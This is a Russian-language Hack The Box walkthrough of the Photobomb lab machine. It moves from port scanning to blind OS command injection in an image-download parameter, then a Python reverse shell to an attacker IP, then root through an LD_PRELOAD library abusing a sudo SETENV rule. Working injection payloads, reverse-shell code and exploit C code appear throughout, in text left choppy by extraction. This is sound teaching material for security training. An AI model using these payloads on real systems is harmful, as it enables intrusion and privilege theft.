
 

 

 

 

 

-x ha

 

 

 

 

ИСПОЛЬЗУЕМ МИСКОНФИГ SUDO ДЛЯ ПОВЫШЕНИЯ ПРИВИЛЕГИЙ

В этом райтапе­ я покажу, как ошибки­ в кон­ фигурации­ sudo приводят­ к возможнос­ ти­ выполнить­ свой код в привиле­ гиро­ ван­ ном­ контек­ сте­ . А перед этим получим доступ­ от имени­ локального­ пользовате­ ля­ при помощи инъекции­ команды­ .

RalfHacker hackerralf8@gmail.com

Атаковать­ мы будем виртуаль­ ну­ ю машину Photobomb с площад­ ки­ Hack The Box. Уровень­ ее сложности­ — легкий­ , потребу­ ется­ применить­ всего­ нес­ кольк­ о приемов­ .

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ляем­ IP-адрес машины в /etc/hosts, чтобы­ можн­ о было обращать­ ся­ к хосту­ по имени­ :

10.10.11.182 photobomb.htb

И запускаем­ сканиро­ вание­ , чтобы­ получить список­ открытых­ на машине пор­ тов.

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз­ воляе­ т атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ :

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ­ет в два этапа­ . На первом­ произво­ ­дит­ся обычное­ быстрое­ ска­ нирование­ , на втором­ — более тщатель­ ­ное сканиро­ ­вание, с использовани­ ­ем имеющих­ ­ся скриптов­ (опция -A).

Резуль­ та­ т работы скрипта­

Nmap показал нам два открытых­ порта­ : 22-й, на котором работае­ т служба­

OpenSSH 8.2p1, и 80-й, где отвечае­ т веб сервер­ Nginx 1.18.0. Посколь­ ­ку учетной­ записи для логина по SSH у нас пока нет, выбор очевиден­ : идем просматри­ ­вать веб. Все действия­ я буду проводить­ через Burp Proxy, чтобы­ потом иметь доступ­ ко всем данным­ запросов­ и ответов­ .

Главная­ страница­ сайта­ http://photobomb.htb/

Нас встречае­ т страница­ с информацией­ и с одной ссылкой­ , по которой мы, конечн­ о же, проходим­ .

ТОЧКА ВХОДА

По ссылке­ нам открывает­ ­ся форма­ HTTP-аутентифика­ ­ции.

Форма­ ввода­ учетных­ данных­

Стандар­ ­тные пары из логина и пароля вроде­ admin:admin не подошли­ . Поэтому­ переходим­ в Burp History и просматри­ ­ваем содержимое­ всех зап­ росов. В исходном коде файла­ photobomb.js находим учетные­ данные­ для HTTP-аутентифика­ ­ции.

Burp History

Можем­ перейти­ прям­ о по найден­ ному­ адресу­ :

http://pH0t0:b0Mb!@photobomb.htb/printer

Как вариант­ , можн­ о вернуть­ ся­ к странице­ с запросом­ учетных­ данных­ и ввес­ ти их вручную­ .

ТОЧКА ОПОРЫ

На сайте­ есть возможность­ скачать­ изображение­ в выбранном­ качестве­ и разрешении­ . Для нас это интерес­ ­но, поэтому­ просмотрим­ передаваемые­ в запросе­ параметры­ при конфигура­ ­ции и скачива­ ­нии картинки­ .

 

 

 

 

 

Запрос­ на загрузку­

изображения­

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Первая­

идея — получить метаданные­

изображения­

с помощью exiftool

и найти­ какие нибудь следы­ генератора­

изображений­

, если такой исполь­

зуется­ . Тогда­ мы смогли­ бы поискать­

существу­ ющие­

уязвимос­

ти­ и экспло­ иты­

для них. Но в метаданных­ изображений­

ничего интерес­ ного­

найти­ не удалось­

.

 

Затем­

я решил попробовать­

распечатать­

«не

совсем­

изображение­

».

В

параметре­

 

имени­

файла­

 

 

указыва­

ем­

 

 

путь

 

/etc/passwd

или /../../../../../../../etc/passwd, чтобы­

попробовать­

выгрузить­

какие нибудь интерес­ ные­

системные­

файлы­ . Но получаем­ следующий­

ответ,

сигнализи­

рующий­

о том, что и эта идея ошибоч­ на­ .

 

 

 

 

 

 

 

 

 

 

 

Ошибка­ при произволь­ ном­ имени­ файла­

Так как применя­ ется­ конверти­ рова­ ние­ в указан­ ный­ формат­ , возможно­ , веб приложе­ ние­ используе­ т конвертер­ , передавая­ команды­ в командную­ оболоч­ ку­ . В этом случае­ и имя файла­ , и расширение­ будут переданы­ как параметры­ командной­ строки­ , и тогда­ нужно­ попробовать­ инъекцию­ команды­ ОС. Мы уже выяснили­ , что имя файла­ проверя­ ется­ , и тут нет особой­ гибкости­ . Поэтому­ проверя­ ем­ только­ параметр, где указыва­ ется­ новый фор­ мат. Список­ нагрузок­ для провер­ ки­ на уязвимость­ OS Command Injection перебираем­ через Burp Intruder.

 

Burp Intruder — вкладка­ Positions

 

 

 

 

 

 

 

В итоге­ , перейдя­ к Time-Based-нагрузкам­

(когда­

нет вывода команды­ ,

а результа­ т ее выполнения­

отмечаем­

по задержке­

времени­

ответа­ ), опре­

деляем­ , что есть возможность­

слепой­ инъекции­

.

 

 

 

 

 

 

 

 

Burp Intruder — результа­ т перебора­

 

 

 

 

 

 

 

 

 

 

 

 

 

 

В настрой­

ках­

вывода

добавим

столбец­ ,

содержащий­

время­

ответа­ ,

и заметим, что при отправке­ нагрузки­

%0Asleep 7 ответ от сервера­

задер­

живается­

на восемь секунд!

 

 

 

 

 

 

 

Запус­ тим­ локальный­

веб сервер­ :

 

 

 

 

 

 

 

python3 -m http.server 80

 

 

 

 

 

 

 

 

 

 

 

 

 

 

И теперь попробу­

ем­

обратить­ ся­

на

него

через вероятную­

уязвимость­

с помощью curl:

 

 

 

 

 

 

 

 

 

 

 

photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&

filetype=jpg%0Acurl%20http%3a//10.10.14.7/test_RCE&

dimensions=1000x1500

Логи­ веб сервера­

Запрос­ пришел­ , значит­ , уязвимость­ внедрения­ команды­ есть. Теперь поп­ робуем­ выполнить­ следующий­ реверс шелл на Python 3:

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("10.10.14.7",4321))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/sh","-i"])

Откры­ ваем­ листенер­ на порте­ 4321 (я использую­ pwncat), кодируем­ реверс шелл и отправляем­ запрос­ на сервер­ .

photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg%0Apython3+-

c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,

socket.SOCK_STREAM)%3bs.connect(("10.10.14.7",4321))%3bos.dup2(s.

fileno(),0)%3bos.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)

%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'&dimensions=1000x1500

Запрос­ на сервер­

В pwncat после­ получения­ сессии­ для переключения­ к шеллу­ вводим­ команду­ back, а для выхода в меню используем­ комбинаци­ ю клавиш­ Ctrl-D.

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь­ , когда­ мы получили­ доступ­ к хосту­ , нам необходимо­ собрать­ информацию­ . Я, как обычно­ , использу­ ю для этого­ скрипты­ PEASS.

Что делать после­ того, как мы получили­ доступ­ в систему­ от имени­ поль­ зователя­ ? Вариантов­ дальнейшей­ эксплу­ ата­ ции­ и повышения­ привиле­ гий­ может быть очень много­ , как в Linux, так и в Windows. Чтобы­ собрать­ информаци­ ю и наметить цели, можно­ использовать­ Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов­ , которые проверя­ ю­ т сис­

тему на автомате­ .

Загрузим­ на удален­ ный­ хост скрипт для Linux, командой­ chmod +x linpeas. sh дадим ему прав­ о на выполнение­ и запустим­ сбор информации­ . Из всего­ вывода можн­ о уцепить­ ся­ только­ за настрой­ ки­ sudoers.

Настрой­ ки­ судоера­

Файл /etc/sudoers в Linux содержи­ т списки­ команд, которые разные­ группы­ пользовате­ лей­ могут выполнять­ от имени­ админис­ тра­ тора­ системы­ . Можно­ просмотреть­ его как напрямую­ , так и при помощи команды­ sudo -l.

Мы можем выполнить­ команду­ /opt/cleanup.sh от имени­ пользовате­ ля­ root с установ­ кой­ переменных­ окружения­ (SETENV) без ввода­ пароля (NOPASSWD). Смотрим­ содержимое­ обнаружен­ ного­ скрипта­ .

cat /opt/cleanup.sh

Содер­ жимое­ файла­ /opt/cleanup.sh

В самом скрипте­ нет ничего интерес­ ­ного, зато есть возможность­ установить­ переменные­ окружения­ . Это очень важно­ при повышении­ привиле­ ­гий. Мы, например­ , можем использовать­ переменну­ ю окружения­ LD_PRELOAD и с ее помощью сообщить­ системно­ ­му компонов­ ­щику времени­ выполнения­ (ld.so), что он должен­ загрузить­ указан­ ­ные библиоте­ ­ки раньше­ других­ . В результате­ можн­ о перехватывать­ вызовы системных­ функций­ и заменять их собствен­ ­ной реализаци­ ­ей, а то и просто­ выполнить­ свой код.

Давай­ напишем свою библиоте­ ­ку, которая должна­ дать нам шелл в при­ вилегиро­ ­ван­ном контек­ ­сте.

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void _init() {

unsetenv("LD_PRELOAD");

setgid(0);

setuid(0);

system("/bin/bash");

}

Теперь­ компилиру­ ем­ ее с помощью GCC.

gcc -fPIC -shared -o lpe.so lpe.c -nostartfiles

Сборка­ библиоте­ ки­ lpe.so

Собранный­ файл загружа­ ­ем на удален­ ­ный хост и выполняем­ скрипт под sudo с указани­ ­ем нашей библиоте­ ­ки в переменной­ окружения­ LD_PRELOAD. И получаем­ привиле­ ­гиро­ван­ную командну­ ю оболоч­ ­ку.

sudo LD_PRELOAD=/tmp/lpe.so /opt/cleanup.sh

Флаг рута

Машина­ захвачена­ !

Соседние файлы в папке журнал хакер